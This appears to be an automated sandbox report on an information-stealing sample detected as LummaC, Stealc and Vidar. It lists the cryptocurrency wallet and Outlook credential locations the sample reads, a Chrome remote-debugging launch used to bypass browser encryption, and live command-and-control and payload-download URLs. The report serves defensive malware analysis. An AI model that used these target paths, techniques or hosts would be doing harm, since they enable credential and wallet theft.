Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY

Source: Yara match	File source: 0000001C.00000003.2938904048.00000000004F9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000003.3275745985.00000000010A4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.3001205513.0000000000501000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000003.3247413160.00000000010A3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.2958896152.00000000004F9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.2990866260.00000000004F9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000003.3276605524.00000000010AD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.2974552760.00000000004F9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.2990128091.00000000004F9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.2955469038.00000000004F9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000003.3267694473.00000000010A3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.2975502163.00000000004F9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2497943980.00000000002DC000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.2938451798.00000000004F9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.2942042952.00000000004F9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000003.3210910013.00000000010A4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000003.3246273700.00000000010A3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000003.3208479965.00000000010A3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000003.3206642862.00000000010A3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.2978097870.00000000004F9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7340, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: e7dea42e57.exe PID: 8940, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: e7dea42e57.exe PID: 6284, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: e7dea42e57.exe PID: 4796, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: e7dea42e57.exe PID: 8940, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: e7dea42e57.exe PID: 6284, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: e7dea42e57.exe PID: 4796, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2497943980.0000000000211000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.2812437096.0000000004DC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.3042952469.0000000000401000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.2855713450.00000000010CD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2500046632.0000000000DFE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.3044930728.0000000000F0B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2063052849.0000000004BE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.2852960871.0000000000401000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.2991899149.0000000004DB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7340, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 6cb554c070.exe PID: 7792, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 6cb554c070.exe PID: 7544, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 7340, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	41 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	1 Scheduled Task/Job	2 Bypass User Account Control	21 Deobfuscate/Decode Files or Information	LSASS Memory	12 File and Directory Discovery	Remote Desktop Protocol	41 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	111 Registry Run Keys / Startup Folder	1 Extra Window Memory Injection	4 Obfuscated Files or Information	Security Account Manager	247 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	Login Hook	12 Process Injection	12 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	2 PowerShell	Network Logon Script	1 Scheduled Task/Job	1 DLL Side-Loading	LSA Secrets	871 Security Software Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	111 Registry Run Keys / Startup Folder	2 Bypass User Account Control	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Extra Window Memory Injection	DCSync	361 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	121 Masquerading	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	361 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	12 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	39%	ReversingLabs	Win32.Trojan.Symmi
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	32%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label
peepburry828.sbs	0%	Avira URL Cloud	safe
http://185.215.113.206lfons	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.php$	100%	Avira URL Cloud	malware
https://cook-rain.sbs/apiD	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/msvcp140.dllv	100%	Avira URL Cloud	malware
http://185.215.113.16/off/def.exeQ	100%	Avira URL Cloud	phishing
http://185.215.113.206/w)	100%	Avira URL Cloud	malware
processhol.sbs	0%	Avira URL Cloud	safe
http://185.215.113.16/off/def.exerDF	100%	Avira URL Cloud	phishing
https://cook-rain.sbs:443/apical	0%	Avira URL Cloud	safe
https://cook-rain.sbs/api6fkg	0%	Avira URL Cloud	safe
https://cook-rain.sbs/	0%	Avira URL Cloud	safe
http://crl.microsofth	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.phpD	100%	Avira URL Cloud	malware
https://cook-rain.sbs:443/api	0%	Avira URL Cloud	safe
http://185.215.113.206/:j	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/softokn3.dll;(	100%	Avira URL Cloud	malware
https://cook-rain.sbs/ii/7	0%	Avira URL Cloud	safe
http://185.215.113.16/off/def.exe;	100%	Avira URL Cloud	phishing
http://185.215.113.206SIONNAME=Con	0%	Avira URL Cloud	safe
https://cook-rain.sbs/H	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/msvcp140.dllA	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.php/q	100%	Avira URL Cloud	malware
https://cook-rain.sbs/apisD	0%	Avira URL Cloud	safe
https://cook-rain.sbs/F	0%	Avira URL Cloud	safe
https://cook-rain.sbs/8	0%	Avira URL Cloud	safe
p10tgrace.sbs	0%	Avira URL Cloud	safe
https://cook-rain.sbs/b	0%	Avira URL Cloud	safe
http://185.215.113.206/Microsoft	100%	Avira URL Cloud	malware
https://cook-rain.sbs/apilzYvk7yiM6-	0%	Avira URL Cloud	safe
http://185.215.113.16/steam/random.exeS	100%	Avira URL Cloud	phishing
p3ar11fter.sbs	0%	Avira URL Cloud	safe
https://cook-rain.sbs/api	0%	Avira URL Cloud	safe
https://cook-rain.sbs/t	0%	Avira URL Cloud	safe
https://cook-rain.sbs/z	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/nss3.dll_4	100%	Avira URL Cloud	malware
https://cook-rain.sbs/apip	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
s-part-0016.t-0009.t-msedge.net	13.107.246.44	true	false	high
chrome.cloudflare-dns.com	162.159.61.3	true	false	high
plus.l.google.com	142.250.185.78	true	false	high
play.google.com	172.217.18.14	true	false	high
cook-rain.sbs	188.114.96.3	true	false	high
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	high
sb.scorecardresearch.com	18.244.18.27	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
s-part-0015.t-0009.t-msedge.net	13.107.246.43	true	false	high
www.google.com	142.250.186.100	true	false	high
googlehosted.l.googleusercontent.com	172.217.18.1	true	false	high
js.monitor.azure.com	unknown	unknown	false	high
assets.msn.com	unknown	unknown	false	high
c.msn.com	unknown	unknown	false	high
mdec.nelreports.net	unknown	unknown	false	high
ntp.msn.com	unknown	unknown	false	high
clients2.googleusercontent.com	unknown	unknown	false	high
bzib.nelreports.net	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high
api.msn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.206/68b591d6548ec281/softokn3.dll	false		high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731781348339&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true	false		high
http://185.215.113.206/	false		high
peepburry828.sbs	true	Avira URL Cloud: safe	unknown
http://185.215.113.43/Zu7JuNko/index.php	false		high
http://185.215.113.206/68b591d6548ec281/freebl3.dll	false		high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false		high
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false		high
processhol.sbs	true	Avira URL Cloud: safe	unknown
185.215.113.206/c4becf79229cb002.php	false		high
https://sb.scorecardresearch.com/b2?rn=1731781348341&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=3A4078140C106EC03F536D2D0D356F1D&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false		high
https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js	false		high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731781354176&w=0&anoncknm=app_anon&NoResponseBody=true	false		high
https://c.msn.com/c.gif?rnd=1731781348341&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=f28f8802731c4550a703f615bcd7ea64&activityId=f28f8802731c4550a703f615bcd7ea64&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0	false		high
https://play.google.com/log?format=json&hasfast=true	false		high
https://sb.scorecardresearch.com/b?rn=1731781348341&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=3A4078140C106EC03F536D2D0D356F1D&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false		high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731781352598&w=0&anoncknm=app_anon&NoResponseBody=true	false		high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	false		high
https://c.msn.com/c.gif?rnd=1731781348341&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=f28f8802731c4550a703f615bcd7ea64&activityId=f28f8802731c4550a703f615bcd7ea64&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=FD86DEFD7D344959BF644E1D8EF91D44&MUID=3A4078140C106EC03F536D2D0D356F1D	false		high
http://185.215.113.16/mine/random.exe	false		high
http://185.215.113.206/68b591d6548ec281/sqlite3.dll	false		high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731781353609&w=0&anoncknm=app_anon&NoResponseBody=true	false		high
http://185.215.113.206/68b591d6548ec281/mozglue.dll	false		high
p10tgrace.sbs	true	Avira URL Cloud: safe	unknown
https://cook-rain.sbs/api	true	Avira URL Cloud: safe	unknown
http://185.215.113.206/68b591d6548ec281/msvcp140.dll	false		high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731781353630&w=0&anoncknm=app_anon&NoResponseBody=true	false		high
http://185.215.113.16/steam/random.exe	false		high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731781424145&w=0&anoncknm=app_anon&NoResponseBody=true	false		high
http://185.215.113.206/c4becf79229cb002.php	false		high
https://www.google.com/async/newtab_promos	false		high
p3ar11fter.sbs	true	Avira URL Cloud: safe	unknown
https://www.google.com/async/ddljson?async=ntp:2	false		high
https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
